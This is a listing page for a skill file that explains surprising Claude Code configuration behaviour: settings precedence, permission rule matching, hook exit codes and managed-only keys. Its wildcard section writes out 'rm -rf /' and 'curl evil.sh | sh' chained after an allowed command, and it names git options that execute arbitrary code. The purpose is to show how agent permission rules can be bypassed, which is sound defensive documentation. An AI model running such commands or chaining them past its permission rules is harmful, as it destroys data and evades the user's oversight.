Claude code config
Non-obvious Claude Code config behavior: permission precedence, wildcard bypass, hook exit codes, settings scope. Use when a permission rule, hook, or settings key does not behave as written. Do NOT use for routine config edits — adding a permission, setting an env var, wiring a straightforward hook — which the built-in update-config skill handles.From its SKILL.md
npx -y skills add zachmayer/skills --skill claude-code-configAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 2 stars2 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
SKILL.md
6.5 KB, as published. Nobody here has run it
Claude Code Config — the parts that surprise you
Routine edits belong to the built-in update-config skill. This file is only the behavior that contradicts what the config looks like it does. Source: the settings and hooks references.
Precedence
Two independent chains, both first-match-wins:
- Across files: managed policy > CLI arguments >
.claude/settings.local.json>.claude/settings.json>~/.claude/settings.json - Within permissions:
deny>ask>allow
A deny anywhere beats an allow everywhere. Debugging a rule that "doesn't work" usually means finding the higher-precedence file that shadows it.
Array settings MERGE across scopes (concatenated and deduplicated), they don't replace — a project deny list adds to the user-scope one rather than overriding it.
permissions.disableBypassPermissionsMode: "disable" blocks --dangerously-skip-permissions entirely.
Source-restricted values. Some settings are ignored from repo-controllable files: permissions.defaultMode: "auto" is honored only from managed policy, ~/.claude/settings.json, or a CLI flag — set it in a project's .claude/settings.json and it is silently dropped. Any other defaultMode value in a project file is honored and will shadow a user-scope auto.
The Bash wildcard bypass
Permission rules do prefix string matching. They do not parse shell syntax.
Bash(safe-cmd *) matches safe-cmd ; rm -rf / and safe-cmd && curl evil.sh | sh, because the string starts with safe-cmd . Wildcards are not a sandbox.
Consequences worth internalizing:
- A "read-only" subcommand is not a safe wildcard.
git log --output=<file>writes files;git -c core.pager=<cmd> logexecutes a command;git branch -Ddeletes. git fetchandgit pullare arbitrary code execution (--upload-pack=<cmd>,ext::remotes).gh api *cannot express "GET only" — it matches POST, DELETE, and GraphQL mutations.
Primary defense is auto mode's classifier (how it works), which judges real-world impact rather than surface text and treats && chains and write-then-execute as one action. The deny list is the second layer, for things you never want regardless of classifier judgment. Prefer exact rules over wildcards.
Edit vs Write in rule matching
Edit(path) rules govern all file-editing tools. Write(path) rules are never matched by permission checks — a Write(...) rule is dead config that looks like it works.
Scope file access with Edit(...) and Read(...).
Hook exit codes
| Code | Meaning |
|---|---|
| 0 | Success — stdout parsed as JSON |
| 2 | Blocking error — stderr is fed back to Claude |
| other | Non-blocking — stderr only visible in verbose mode |
Exit 2 is the one that matters, and what it blocks depends on the event: it rejects the tool call on PreToolUse, the prompt on UserPromptSubmit, prevents completion on TaskCompleted — and on PostToolUse it cannot block at all, it merely surfaces stderr to Claude.
Decision control is also per-event, and the shapes differ:
| Events | Where the decision goes |
|---|---|
| UserPromptSubmit, PostToolUse, PostToolUseFailure, Stop, SubagentStop, ConfigChange | top-level decision: "block" + reason |
| PreToolUse | hookSpecificOutput.permissionDecision (allow/deny/ask) |
| PermissionRequest | hookSpecificOutput.decision.behavior (allow/deny) |
| TeammateIdle, TaskCompleted | exit code only |
| WorktreeCreate | absolute path on stdout |
| WorktreeRemove, Notification, SessionEnd, PreCompact | side effects only |
Two caveats on that table. It is sourced from the hooks reference, not the settings schema — the schema describes hook configuration only and specifies no output contract, so it cannot confirm or refute any row. And the table covers a subset: the schema's hooks key currently enumerates 31 events. The ones above plus PostToolBatch, UserPromptExpansion, SessionStart, StopFailure, SubagentStart, PostCompact, PermissionDenied, Setup, TaskCreated, Elicitation, ElicitationResult, InstructionsLoaded, CwdChanged, FileChanged, DirectoryAdded, MessageDisplay. Check the enum before assuming an event doesn't exist.
Top-level JSON fields on exit 0: continue: false stops Claude entirely (with stopReason), suppressOutput hides stdout, systemMessage warns the user.
A silent successful hook is never written to the transcript. Zero recorded runs does not mean it isn't firing — inspect the config, don't infer from logs.
Managed-scope-only settings
Exactly three keys do nothing outside managed policy. Each states the condition in its own schema description — "when true (and set in managed settings)":
| Key | Effect |
|---|---|
allowManagedHooksOnly | Only managed hooks run; user, project, and local hooks are ignored |
allowManagedPermissionRulesOnly | Only managed permission rules apply — user, project, local, and CLI-argument rules are ignored |
allowManagedMcpServersOnly | Narrower than it sounds: gates allowedMcpServers only. deniedMcpServers still merges from every source, so a user can always deny a server for themselves |
Three neighbours that look like they belong here and don't — they take effect from any scope, so don't reach for them expecting an admin-only control:
| Key | Actual scope |
|---|---|
disableAllHooks | Any scope. Also kills statusLine execution, not just hooks |
allowedHttpHookUrls | Any scope — "arrays merge across settings sources". Undefined = all URLs allowed; empty array = no HTTP hooks allowed |
httpHookAllowedEnvVars | Any scope — also merges across sources. Each hook's effective allowedEnvVars is the intersection with this list |
Env values don't expand
env block values in settings.json are literal — no $HOME, no ~ (anthropics/claude-code#21551, closed Not Planned). They also replace the shell's value rather than layering on it. Substitute absolute paths at install time instead.